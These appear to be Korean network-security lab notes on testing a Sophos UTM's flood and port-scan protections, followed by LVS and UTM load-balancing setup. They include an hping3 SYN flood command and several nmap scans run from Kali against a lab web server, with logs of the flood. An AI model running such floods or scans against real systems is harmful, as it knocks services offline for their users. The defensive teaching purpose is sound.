2023:04:14-09:47:07 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="43087" dstport="80" tcpflags="SYN"
2023:04:14-09:47:07 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="53841" dstport="80" tcpflags="SYN"
2023:04:14-09:47:08 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="64948" dstport="80" tcpflags="SYN"
2023:04:14-09:47:08 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="8075" dstport="80" tcpflags="SYN"
2023:04:14-09:47:08 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="17252" dstport="80" tcpflags="SYN"
2023:04:14-09:47:08 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="28804" dstport="80" tcpflags="SYN"
2023:04:14-09:47:08 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="38217" dstport="80" tcpflags="SYN"
2023:04:14-09:47:09 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="50478" dstport="80" tcpflags="SYN"
2023:04:14-09:47:09 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="57654" dstport="80" tcpflags="SYN"
2023:04:14-09:47:09 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="65384" dstport="80" tcpflags="SYN"
2023:04:14-09:47:09 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="10587" dstport="80" tcpflags="SYN"
2023:04:14-09:47:09 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="22118" dstport="80" tcpflags="SYN"
2023:04:14-09:47:10 utm9 ulogd[4587]: id="2103" severity="info" sys="SecureNet" sub="ips" name="SYN flood detected" action="SYN flood" fwrule="60012" initf="eth0" srcmac="00:0c:29:28:37:34" dstmac="00:0c:29:7e:8e:60" srcip="200.200.200.3" dstip="200.200.200.101" proto="6" length="40" tos="0x00" prec="0x00" ttl="64" srcport="33542" dstport="80" tcpflags="SYN"
  :
  :(생략)

실습> TCP SYN Flood Protection 체크

1. TCP SYN Flood 활성화
[Network Protection] > [Intrusion Prevention] > [Anti/DOS flooding] 

Use TCP SYN Flood Protection 에 체크를 하고 Apply를 누른다.

[v]	Use TCP SYN Flood Protection

2. 웹서버 접속
[root@web1 ~]# iptables -F
[root@web1 ~]# systemctl restart httpd

http://200.200.200.101
Welcome to www.server1.kr!

3. syncookies 확인
[root@web1 ~]# cat /proc/sys/net/ipv4/tcp_syncookies 
1

4. 모니터링과 공격
utm9:/root # tcpdump -i eth0 port 80 -nn
[root@kali ~]# hping3 -p 80 -S --flood 200.200.200.101
[root@web1 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN
tcp        0      0 172.16.10.101:22        172.16.10.1:51760       ESTABLISHED
tcp        0     64 172.16.10.101:22        172.16.10.1:51381       ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN
tcp6       0      0 :::22                   :::*                    LISTEN
tcp6       0      0 ::1:25                  :::*                    LISTEN

5. TCP SYN Flood 비활성화
[Network Protection] > [Intrusion Prevention] > [Anti/DOS flooding] 

Use TCP SYN Flood Protection 에 체크를 해제하고 Apply를 누른다.

[ ] Use TCP SYN Flood Protection

utm9:/root # tcpdump -i eth0 port 80 -nn
[root@kali ~]# hping3 -p 80 -S --flood 200.200.200.101
[root@web1 ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN     
tcp        0      0 172.16.10.101:80        200.200.200.3:58557     SYN_RECV   <-- DOS 공격이 일어나고 있다는 의미!
tcp        0      0 172.16.10.101:80        200.200.200.3:58507     SYN_RECV   <-- 하지만 반드시 알아야 되는 것이
tcp        0      0 172.16.10.101:80        200.200.200.3:12256     SYN_RECV   <-- 정상적인 접속이면서 사용자가 
tcp        0      0 172.16.10.101:80        200.200.200.3:22645     SYN_RECV   <-- 많이 접속되면 이런 현상이 발생된다.
  :
  :(생략)
tcp        0      0 172.16.10.101:80        200.200.200.3:57553     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:57542     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:37744     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:60927     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:17694     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:30268     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:60468     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:51403     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:57620     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:12989     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:57285     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:45204     SYN_RECV
tcp        0      0 172.16.10.101:80        200.200.200.3:60469     SYN_RECV
  :
  :(생략)
tcp        0      0 172.16.10.101:80        200.200.200.3:4879      SYN_RECV   
tcp        0      0 172.16.10.101:80        200.200.200.3:13766     SYN_RECV   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0  15140 172.16.10.101:22        172.16.10.1:1178        ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN  

6. 웹서버 접속
DDoS 공격을 당하고 있는 서버는 Host OS에서 접속하면 접속이 안된다.

http://200.200.200.101/
사이트에 연결할 수 없음200.200.200.101에서 응답하는 데 시간이 너무 오래 걸립니다.
다음 방법을 시도해 보세요.

연결 확인
프록시 및 방화벽 확인
Windows 네트워크 진단 프로그램 실행
ERR_CONNECTION_TIMED_OUT

실습> Dos/Flooding 대응

Dos/Flooding 공격에 대응하기 위해서 3개의 메뉴를 모두 On 시켜준다.

Anti-Dos/Flooding(TCP SYN/UDP/ICMP Flooding 차단)
아래 3개 모두 체크한다.

TCP SYN Flood Protection 
- Use TCP SYN Flood Protection 을 체크 -> Apply 클릭

UDP Flood Protection
- Use UDP Flood Protection 을 체크 -> Apply 클릭

ICMP Flood Protection
- Use ICMP Flood Protection 을 체크 -> Apply 클릭

실습> Anti port scan

1. Anti port scan Off 일 경우
Off일 경우에는 포트스캔이 허용된다.

기본값은 Off로 설정되어 있다.

패킷을 모니터링 한다.
utm9:/root # tcpdump -i eth0 not port 22 -nn

공격자는 200.200.200.101에 포트스캔을 시도한다.
[Management] > [Webadmin Settings] > [General] > WebAdmin Access Configuration 부분에서
Allowed Networks 가 Any로 모두 허용이 되어 있기 때문에 open으로 나온다.

[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:17 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00039s latency).

PORT     STATE SERVICE
22/tcp   open  ssh     <-- UTM 장비의 22번 포트
80/tcp   open  http    <-- DMZ의 웹서버 80번 포트
4444/tcp open  krb524  <-- UTM 장비의 4444번 포트  (Allowed Networks를 Any로 설정했기 때문에)
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds

[Management] > [Webadmin Settings] > [General] > WebAdmin Access Configuration 부분에서
Allowed Networks 를 Internal(Networks)로 내부에서만 허용으로 변경하면 filtered로 나온다.
[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-21 21:32 EST
Nmap scan report for 200.200.200.101
Host is up (0.00052s latency).

PORT     STATE    SERVICE
22/tcp   open     ssh      <-- UTM 장비의 22번 포트
80/tcp   open     http
4444/tcp filtered krb524   <-- UTM 장비의 4444번 포트  (Allowed Networks를 Internal로 설정했기 때문에)
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds

22/tcp 가 web1의 포트인지 firewall의 포트인지 확인한다.
[root@web1 ~]# systemctl stop sshd
[root@web1 ~]# netstat -nltp|grep 22
[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:20 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00043s latency).

PORT     STATE    SERVICE
22/tcp   open     ssh     <-- web1에서 sshd를 stop했지만 22번이 나온다는 것은 UTM의 22번 이라는 것을 알 수 있다.
80/tcp   open     http
4444/tcp filtered krb524
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds

[root@web1 ~]# systemctl start sshd

web1에서 웹서버를 중지하고 포트스캔을 한다.
[root@web1 ~]# systemctl stop httpd
[root@web1 ~]# netstat -nltp|grep 80

[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:24 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00096s latency).

PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   closed   http
4444/tcp filtered krb524
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds


[root@web1 ~]# systemctl start httpd

[root@kali ~]# nmap -sS -p80,22,4444 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:25 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00026s latency).

PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
4444/tcp filtered krb524
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds


[Network Protection] > [Intrusion Prevention] > [Anti-Portscan] > On 일 경우

Global Settings	
Action:	Drop traffic
Limit logging 체크

Apply 버튼을 클릭하면 적용된다.


[root@kali ~]# nmap -sS 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:27 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00053s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.58 seconds


[Network Protection] > [Intrusion Prevention] > [Anti-Portscan] > Off 일 경우
[root@kali ~]# nmap -sS 200.200.200.101
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 21:28 EDT
Nmap scan report for 200.200.200.101
Host is up (0.00060s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:7E:8E:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 4.77 seconds

로그는 아래처럼 기록된다.
  :
  :(생략)
10:28:34.502084 IP 200.200.200.3.43012 > 200.200.200.101.1132: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505336 IP 200.200.200.3.43012 > 200.200.200.101.9917: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505337 IP 200.200.200.3.43012 > 200.200.200.101.2809: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505337 IP 200.200.200.3.43012 > 200.200.200.101.7019: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505337 IP 200.200.200.3.43012 > 200.200.200.101.4003: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505337 IP 200.200.200.3.43012 > 200.200.200.101.5911: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.505352 IP 200.200.200.3.43012 > 200.200.200.101.8001: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507746 IP 200.200.200.3.43012 > 200.200.200.101.35500: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507746 IP 200.200.200.3.43012 > 200.200.200.101.13456: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507791 IP 200.200.200.3.43012 > 200.200.200.101.683: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507792 IP 200.200.200.3.43012 > 200.200.200.101.7443: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507870 IP 200.200.200.3.43012 > 200.200.200.101.9594: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507870 IP 200.200.200.3.43012 > 200.200.200.101.500: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507884 IP 200.200.200.3.43012 > 200.200.200.101.7999: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507968 IP 200.200.200.3.43012 > 200.200.200.101.1151: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.507970 IP 200.200.200.3.43012 > 200.200.200.101.32768: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.508037 IP 200.200.200.3.43012 > 200.200.200.101.2021: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510753 IP 200.200.200.3.43012 > 200.200.200.101.9999: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510753 IP 200.200.200.3.43012 > 200.200.200.101.7911: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510787 IP 200.200.200.3.43012 > 200.200.200.101.1036: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510787 IP 200.200.200.3.43012 > 200.200.200.101.8011: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510830 IP 200.200.200.3.43012 > 200.200.200.101.19350: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.510830 IP 200.200.200.3.43012 > 200.200.200.101.1102: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0
10:28:34.591466 IP 200.200.200.3.43012 > 200.200.200.101.1201: Flags [S], seq 2736502356, win 1024, options [mss 1460], length 0





http://linuxvirtualserver.org/

NAT 방식: 사설 네트워크를 이용하는 방법
Real Server는 모두 사설 네트워크에 들어있고 사설 IP주소를 가지고 있다.
이 방식은 Real Server가 외부로 응답을 할 때는 LVS를 거쳐서 나가는 방법이다.
요청: Client -> LVS -> Real Server, 응답: Real Server -> LVS -> Client
http://linuxvirtualserver.org/VS-NAT.html

Tunneling 방식: 같은 네트워크 + 다른 네트워크를 이용하는 방법
Real Server는 모두 공인 IP주소를 가지고 있다.
이 방식은 Real Server가 외부로 응답을 할 때는 직접 나가는 방법이다.
요청: Client -> LVS -> Real Server, 응답: Real Server -> Client 
http://linuxvirtualserver.org/VS-IPTunneling.html

DR 방식: 같은 네트워크를 이용하는 방법
Real Server는 모두 공인 IP주소를 가지고 있다.
이 방식은 Real Server가 외부로 응답을 할 때는 직접 나가는 방법이다.
요청: Client -> LVS -> Real Server, 응답: Real Server -> Client 
http://linuxvirtualserver.org/VS-DRouting.html

실습> CentOS7에서 LVS 명령어 사용하기

ipvsadm: LVS 명령어

# yum -y install ipvsadm
# ip a a 172.16.10.102 dev ens33

ipvsadm 옵션
--add-service  -A        add virtual service with options
--tcp-service  -t service-address   service-address is host[:port]
 --scheduler   -s scheduler         one of rr|wrr|lc|wlc|lblc|lblcr|dh|sh|sed|nq,
                                     the default scheduler is wlc.
--add-server   -a        add real server with options
--real-server  -r server-address    server-address is host (and port)

# ipvsadm -A -t 172.16.10.102:80 -s rr
# ipvsadm -Ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  172.16.10.102:80 rr

# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.101
# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.102
# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.103
# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.104
# ipvsadm -a -t 172.16.10.102:80 -r 192.168.100.105
# ipvsadm -Ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  172.16.10.102:80 rr
  -> 192.168.100.101:80           Route   1      0          0         
  -> 192.168.100.102:80           Route   1      0          0         
  -> 192.168.100.103:80           Route   1      0          0         
  -> 192.168.100.104:80           Route   1      0          0         
  -> 192.168.100.105:80           Route   1      0          0         

# ipvsadm -L
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  web1.linuxmaster.net:http rr
  -> 192.168.100.101:http         Route   1      0          0
  -> 192.168.100.102:http         Route   1      0          0
  -> 192.168.100.103:http         Route   1      0          0
  -> 192.168.100.104:http         Route   1      0          0
  -> 192.168.100.105:http         Route   1      0          0

등록된 Real Server를 모두 삭제한다.
--delete-server   -d        delete real server
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.105
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.104
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.103
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.102
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.101

등록된 Real Server가 모두 삭제되었다.
# ipvsadm -Ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  172.16.10.102:80 rr

--delete-service  -D        delete virtual service
# ipvsadm -D -t 172.16.10.102:80 
# ipvsadm  -Ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -> RemoteAddress:Port           Forward Weight ActiveConn InActConn

# ip a d 172.16.10.102 dev ens33

실습> UTM에서 LVS 설정하기

참고:
https://cafe.naver.com/linuxmasternet/546

!!! 중요 !!!
LSB를 설정하기 위해서는 NAT > DNAT [WEB#1 DNAT 설정] 룰을 중지해야 한다.



Sophos UTM LSB(Server Load Balancing)

Virtual Server 정보(대표 공인 IP주소)
- 200.200.200.101

Real Server 정보
Real Server#1: 
- VM명: CentOS WEB#1
- VMware Network: VMnet2
- IP주소: 172.16.10.101/24
- 게이트웨이: 172.16.10.253
- DNS 서버: 172.16.10.253
- [X] Automatically connect
- 호스트명: web1.linuxmaster.net

Real Server#2: 
- VM명: CentOS WEB#2
- VMware Network: VMnet2
- IP주소: 172.16.10.102/24
- 게이트웨이: 172.16.10.253
- DNS 서버: 172.16.10.253
- [X] Automatically connect
- 호스트명: web2.linuxmaster.net

1. DNAT 설정 중지
UTM에서 LSB(Server Load Balancing 서버 부하 분산)를 설정하면 자동으로 NAT 방식으로 설정된다. 
그러므로 DNAT가 설정되어 있다면 중지해야 한다.

NAT 방식: 사설 네트워크를 이용하는 방법
Real Server는 모두 사설 IP주소를 가지고 있다.
요청: Client -> LVS(UTM) -> Real Server, 응답: Real Server -> LVS(UTM) -> Client

[Network Protection] > [NAT] > [NAT] > DNAT 중지

2. LSB 설정
[Network Protection] > [Server Load Balancing] > [Balancing Rules] > [+ New Load Balancing Rule...]

Add Load Balancing Rule
Service: HTTP  <-- 향후 HTTP/HTTPS로 그룹을 묶어서 사용하는 것을 테스트!
Virtual server: External [WEB#1] (Address)  <-- 200.200.200.101
Real Servers:
    - WEB#1  <-- +  클릭해서 아래처럼 생성한다. (이미 있다면 생략한다.)
        Add Network Definition
        Name: WEB#1
        Type: Host
        IPv4 address: 172.16.10.101
        Comment: DMZ 웹서버#1
    - WEB#2  <-- +  클릭해서 아래처럼 생성한다. (이미 있다면 생략한다.)
        Add Network Definition
        Name: WEB#2
        Type: Host
        IPv4 address: 172.16.10.102
        Comment: DMZ 웹서버#2

Check type: TCP
Interval: 15
Timeout: 5
Automatic firewall rules: 체크  
Shutdown virtual server address: 체크 안함  
Comment: UTM SLB Test

Save > On > Reload 

External [WEB#1] (Address)  -o-  HTTP  -->  WEB#1 (Up), WEB#2 (Down)
UTM LSB Test

콘솔에서 iptables 룰을 확인한다.
utm9:/root # iptables-save > iptables3.txt
utm9:/root # vi iptables3.txt 

135번 라인에 LOAD_BALANCING 룰 하나가 설정된다.
-A LOAD_BALANCING -d 200.200.200.101/32 -p tcp -m tcp --sport 1:65535 --dport 80 -j ASG_BALANCE \
--balance_name REF_PacLoaHttpToExter --balance_server 172.16.10.101,172.16.10.102 --balance_alg roundrobin \
--balance_persist --balance_persist_size 4000 --balance_persist_time 3600

3. SNAT 룰 설정
WEB#1, WEB#2 서버의 SNAT 설정을 한다.
[Network Protection] > [NAT] > [NAT] > [+ New NAT Rule...]

WEB#1 SNAT 설정

Group: :: No Group :: 
Position: Bottom
Rule type: SNAT (source)

Matching condition
For traffic from: WEB#1  <-- +  클릭해서 아래처럼 생성한다. (이미 있다면 생략한다.)
        Add Network Definition
        Name: WEB#1
        Type: Host
        IPv4 address: 172.16.10.101
        Comment: DMZ 웹서버#1
Using service: Any
Going to: Any

Action
Change the source to: External [WEB#1] (Address)  <-- 200.200.200.101
And the service to:	

Automatic firewall rule: 체크 O
Comment: WEB#1 SNAT 설정

Save > On


WEB#2 SNAT 설정

Group: :: No Group :: 
Position: Bottom
Rule type: SNAT (source)

Matching condition
For traffic from: WEB#2  <-- +  클릭해서 아래처럼 생성한다. (이미 있다면 생략한다.)
        Add Network Definition
        Name: WEB#2
        Type: Host
        IPv4 address: 172.16.10.102
        Comment: DMZ 웹서버#2
Using service: Any
Going to: Any

Action
Change the source to: External [WEB#1] (Address)  <-- 200.200.200.101
And the service to:	

Automatic firewall rule: 체크 O
Comment: WEB#2 SNAT 설정

Save > On

4. DNS 설정
[Network Services] > [DNS] > [Global] > [Allowd Networks]
- DMZ(Networks)
- Internal(Networks)

5. 웹서버 설치 및 설정
UTM에서 방화벽 역할을 하므로 웹서버에서는 방화벽을 모두 내린다.
회사마다 정책이 다르므로 이 부분은 그 회사 정책을 따르지만 일반적으로 모두 내린다.
여기서는 APM중에서 아파치만 설정하는 것으로 한다.

WEB#1 설정
[root@web1 ~]# systemctl stop firewalld
[root@web1 ~]# systemctl disable firewalld
[root@web1 ~]# yum -y install httpd

아파치의 가상 호스트 부분이 있다면 모두 삭제하고 ServerName 127.0.0.1을 맨 마지막에 추가한다.
[root@web1 ~]# vi /etc/httpd/conf/httpd.conf
  :
  :(생략)
ServerName 127.0.0.1

임시 웹페이지를 생성한다.
[root@web1 ~]# echo 'Welcome to 172.16.10.101 DMZ WEB Server!' > /var/www/html/index.html

IP주소와 호스트명을 /etc/hosts 파일에 추가한다.
[root@web1 ~]# cat /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.16.10.101 web1.linuxmaster.net web1

웹서버를 활성화하고 시작한다.
[root@web1 ~]# systemctl enable --now httpd  (enable --now: enable + start)

WEB#2 설정
[root@web2 ~]# systemctl stop firewalld
[root@web2 ~]# systemctl disable firewalld
[root@web2 ~]# yum -y install httpd

아파치의 가상 호스트 부분이 있다면 모두 삭제하고 ServerName 127.0.0.1을 맨 마지막에 추가한다.
[root@web2 ~]# vi /etc/httpd/conf/httpd.conf
  :
  :(생략)
ServerName 127.0.0.1

임시 웹페이지를 생성한다.
[root@web2 ~]# echo 'Welcome to 172.16.10.102 DMZ WEB Server!' > /var/www/html/index.html

IP주소와 호스트명을 /etc/hosts 파일에 추가한다.
[root@web2 ~]# cat /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.16.10.102 web2.linuxmaster.net web2

웹서버를 활성화하고 시작한다.
[root@web2 ~]# systemctl enable --now httpd  (enable --now: enable + start)

6. 동시 접속 테스트
[root@web#1 ~]# yum -y install lynx
[root@web#2 ~]# yum -y install lynx
[root@web#1 ~]# for i in $(seq 1000)
do 
    echo ">>> $i <<<"
    lynx --dump 200.200.200.101
    sleep 1
done

>>> 1 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!

>>> 2 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!

>>> 3 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!

>>> 4 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!
  :
  :(생략)

[root@web#2 ~]# for i in $(seq 1000)
do 
    echo ">>> $i <<<"
    lynx --dump 200.200.200.101
    sleep 1
done
>>> 1 <<<
   Welcome to 172.16.10.101 DMZ WEB Server!

>>> 2 <<<
   Welcome to 172.16.10.101 DMZ WEB Server!

>>> 3 <<<
   Welcome to 172.16.10.101 DMZ WEB Server!

>>> 4 <<<
   Welcome to 172.16.10.101 DMZ WEB Server!
  :
  :(생략)


시간이 어느정도 지나서 
다른 터미널 하나를 열어서 Real 서버1에서 아파치 웹서버를 중지한다. 
[root@WEB#1 ~]# systemctl stop httpd


Real 서버1에서 아파치 웹서버를 중지된 상태에서 Real 서버2로 접속된다.
[root@WEB#1 ~]#
  :
  :(생략)
>>> 97 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!

>>> 98 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!

>>> 99 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!

>>> 100 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!


Real 서버1에서 아파치 웹서버를 중지된 상태에서 Real 서버2로 접속된다.
[root@WEB#2 ~]#
  :
  :(생략)
>>> 98 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!

>>> 99 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!

>>> 100 <<<
   Welcome to 172.16.10.102 DMZ WEB Server!

관리 페이지에서는 WEB#1 이 다운되었다는 것을 확인할 수 있다.
External [WEB#1] (Address)		HTTP -> WEB#1 (Down), WEB#2 (Up)
UTM LSB Test

실습> SliTaz 리눅스 설치

ISO 다운로드
http://mirror.slitaz.org/iso/4.0/flavors/slitaz-4.0-base.iso
https://ko.wikipedia.org/wiki/슬리타즈

1. VM생성
VMware 로 VM 2개를 먼저 생성한다. 
VM명: slitaz1
VMnet: VMnet1

VM명: slitaz2
VMnet: VMnet2

2. HDD 추가
설정에 들어가서 IDE HDD 를 하나를 추가하고 SCSI HDD를 삭제한다.

3. 서버 부팅
